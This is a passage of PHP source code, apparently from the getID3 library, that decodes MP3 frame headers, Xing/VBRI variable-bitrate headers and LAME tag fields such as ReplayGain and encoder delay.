				case '--alt-preset':
				case '--r3mix':
					if ($ExplodedOptions[1] == 'fast') {
						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
					}
					switch ($ExplodedOptions[1]) {
						case 'portable':
						case 'medium':
						case 'standard':
						case 'extreme':
						case 'insane':
						case 'fast portable':
						case 'fast medium':
						case 'fast standard':
						case 'fast extreme':
						case 'fast insane':
						case 'r3mix':
							static $ExpectedLowpass = array(
									'insane|20500'        => 20500,
									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
									'medium|18000'        => 18000,
									'fast medium|18000'   => 18000,
									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'standard|19000'      => 19000,
									'fast standard|19000' => 19000,
									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
									'r3mix|18000'         => 18000,  // 3.94,   3.95
								);
							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
							}
							break;

						default:
							break;
					}
					break;
			}
		}

		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
				$encoder_options .= ' --resample 44100';
			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
				$encoder_options .= ' --resample 48000';
			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
					case 0: // <= 32000
						// may or may not be same as source frequency - ignore
						break;
					case 1: // 44100
					case 2: // 48000
					case 3: // 48000+
						$ExplodedOptions = explode(' ', $encoder_options, 4);
						switch ($ExplodedOptions[0]) {
							case '--preset':
							case '--alt-preset':
								switch ($ExplodedOptions[1]) {
									case 'fast':
									case 'portable':
									case 'medium':
									case 'standard':
									case 'extreme':
									case 'insane':
										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										break;

									default:
										static $ExpectedResampledRate = array(
												'phon+/lw/mw-eu/sw|16000' => 16000,
												'mw-us|24000'             => 24000, // 3.95
												'mw-us|32000'             => 32000, // 3.93
												'mw-us|16000'             => 16000, // 3.92
												'phone|16000'             => 16000,
												'phone|11025'             => 11025, // 3.94a15
												'radio|32000'             => 32000, // 3.94a15
												'fm/radio|32000'          => 32000, // 3.92
												'fm|32000'                => 32000, // 3.90
												'voice|32000'             => 32000);
										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										}
										break;
								}
								break;

							case '--r3mix':
							default:
								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
								break;
						}
						break;
				}
			}
		}
		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
		}

		return $encoder_options;
	}


	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if ($this->fseek($offset) != 0) {
			$this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset);
			return false;
		}
		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data

		// MP3 audio frame structure:
		// $aa $aa $aa $aa [$bb $bb] $cc...
		// where $aa..$aa is the four-byte mpeg-audio header (below)
		// $bb $bb is the optional 2-byte CRC
		// and $cc... is the audio data

		$head4 = substr($headerstring, 0, 4);
		static $MPEGaudioHeaderDecodeCache = array();
		if (isset($MPEGaudioHeaderDecodeCache[$head4])) {
			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4];
		} else {
			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
			$MPEGaudioHeaderDecodeCache[$head4] = $MPEGheaderRawArray;
		}

		static $MPEGaudioHeaderValidCache = array();
		if (!isset($MPEGaudioHeaderValidCache[$head4])) { // Not in cache
			//$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
			$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
		}

		// shortcut
		if (!isset($info['mpeg']['audio'])) {
			$info['mpeg']['audio'] = array();
		}
		$thisfile_mpeg_audio = &$info['mpeg']['audio'];


		if ($MPEGaudioHeaderValidCache[$head4]) {
			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
		} else {
			$this->error('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset);
			return false;
		}

		if (!$FastMPEGheaderScan) {
			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];

			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];

			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];

			if ($thisfile_mpeg_audio['protection']) {
				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
			}
		}

		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
			$this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1');
			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
		}
		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
			// only skip multiple frame check if free-format bitstream found at beginning of file
			// otherwise is quite possibly simply corrupted data
			$recursivesearch = false;
		}

		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {

			$info['audio']['dataformat'] = 'mp2';
			switch ($thisfile_mpeg_audio['channelmode']) {

				case 'mono':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
						// these are ok
					} else {
						$this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

				case 'stereo':
				case 'joint stereo':
				case 'dual channel':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
						// these are ok
					} else {
						$this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

			}

		}


		if ($info['audio']['sample_rate'] > 0) {
			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
		}

		$nextframetestoffset = $offset + 1;
		if ($thisfile_mpeg_audio['bitrate'] != 'free') {

			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];

			if (isset($thisfile_mpeg_audio['framelength'])) {
				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
			} else {
				$this->error('Frame at offset('.$offset.') is has an invalid frame length.');
				return false;
			}

		}

		$ExpectedNumberOfAudioBytes = 0;

		////////////////////////////////////////////////////////////////////////////////////
		// Variable-bitrate headers

		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html

			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
			$info['audio']['codec']                = 'Fraunhofer';

			$SideInfoData = substr($headerstring, 4 + 2, 32);

			$FraunhoferVBROffset = 36;

			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames

			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];

			$previousbyteoffset = $offset;
			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
				$previousbyteoffset += $Fraunhofer_OffsetN;
			}


		} else {

			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
			// depending on MPEG layer and number of channels

			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);

			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
				// 'Xing' is traditional Xing VBR frame
				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
				// 'Info' *can* legally be used to specify a VBR file as well, however.

				// http://www.multiweb.cz/twoinches/MP3inside.htm
				//00..03 = "Xing" or "Info"
				//04..07 = Flags:
				//  0x01  Frames Flag     set if value for number of frames in file is stored
				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
				//  0x04  TOC Flag        set if values for TOC are stored
				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
				//12..15  Bytes:  File length in Bytes
				//16..115  TOC (Table of Contents):
				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
				//  Each Byte has a value according this formula:
				//  (TOC[i] / 256) * fileLenInBytes
				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
				//  TOC[(60/240)*100] = TOC[25]
				//  and corresponding Byte in file is then approximately at:
				//  (TOC[25]/256) * 5000000
				//116..119  VBR Scale


				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
//				} else {
//					$ScanAsCBR = true;
//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
//				}

				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));

				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);

				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
				}
				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
				}

				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				//if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				if (!empty($thisfile_mpeg_audio['VBR_frames'])) {
					$used_filesize  = 0;
					if (!empty($thisfile_mpeg_audio['VBR_bytes'])) {
						$used_filesize = $thisfile_mpeg_audio['VBR_bytes'];
					} elseif (!empty($info['filesize'])) {
						$used_filesize  = $info['filesize'];
						$used_filesize -= intval(@$info['id3v2']['headerlength']);
						$used_filesize -= (isset($info['id3v1']) ? 128 : 0);
						$used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0);
						$this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes');
					}

					$framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames'];

					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
					}
					$thisfile_mpeg_audio['framelength'] = floor($framelengthfloat);
				}

				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
					for ($i = 0; $i < 100; $i++) {
						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData{$i});
					}
				}
				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
				}


				// http://gabriel.mp3-tech.org/mp3infotag.html
				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {

					// shortcut
					$thisfile_mpeg_audio['LAME'] = array();
					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];


					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);

					if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {

						// extra 11 chars are not part of version string when LAMEtag present
						unset($thisfile_mpeg_audio_lame['long_version']);

						// It the LAME tag was only introduced in LAME v3.90
						// http://www.hydrogenaudio.org/?act=ST&f=15&t=9933

						// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
						// are assuming a 'Xing' identifier offset of 0x24, which is the case for
						// MPEG-1 non-mono, but not for other combinations
						$LAMEtagOffsetContant = $VBRidOffset - 0x24;

						// shortcuts
						$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
						$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
						$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
						$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
						$thisfile_mpeg_audio_lame['raw'] = array();
						$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];

						// byte $9B  VBR Quality
						// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
						// Actually overwrites original Xing bytes
						unset($thisfile_mpeg_audio['VBR_scale']);
						$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));

						// bytes $9C-$A4  Encoder short VersionString
						$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);

						// byte $A5  Info Tag revision + VBR method
						$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));

						$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
						$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
						$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
						$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'

						// byte $A6  Lowpass filter value
						$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;

						// bytes $A7-$AE  Replay Gain
						// http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
						// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
						if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
							// LAME 3.94a16 and later - 9.23 fixed point
							// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
						} else {
							// LAME 3.94a15 and earlier - 32-bit floating point
							// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
						}
						if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
							unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
						} else {
							$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
						}

						$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
						$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));


						if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {

							$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
							$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
							$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
							$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
							$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
							$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
							$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);

							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
								$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
							}
							$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
							$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
						} else {
							unset($thisfile_mpeg_audio_lame_RGAD['track']);
						}
						if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {

							$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
							$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
							$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
							$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
							$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
							$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
							$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);

							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
								$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
							}
							$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
							$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
						} else {
							unset($thisfile_mpeg_audio_lame_RGAD['album']);
						}
						if (empty($thisfile_mpeg_audio_lame_RGAD)) {
							unset($thisfile_mpeg_audio_lame['RGAD']);
						}


						// byte $AF  Encoding flags + ATH Type
						$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
						$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
						$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
						$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;

						// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
						$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
							$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
						} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
							// ignore
						} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
							$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
						}

						// bytes $B1-$B3  Encoder delays
						$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
						$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
						$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;

						// byte $B4  Misc
						$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
						$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
						$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
						$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
						$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
						$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
						$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
						$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
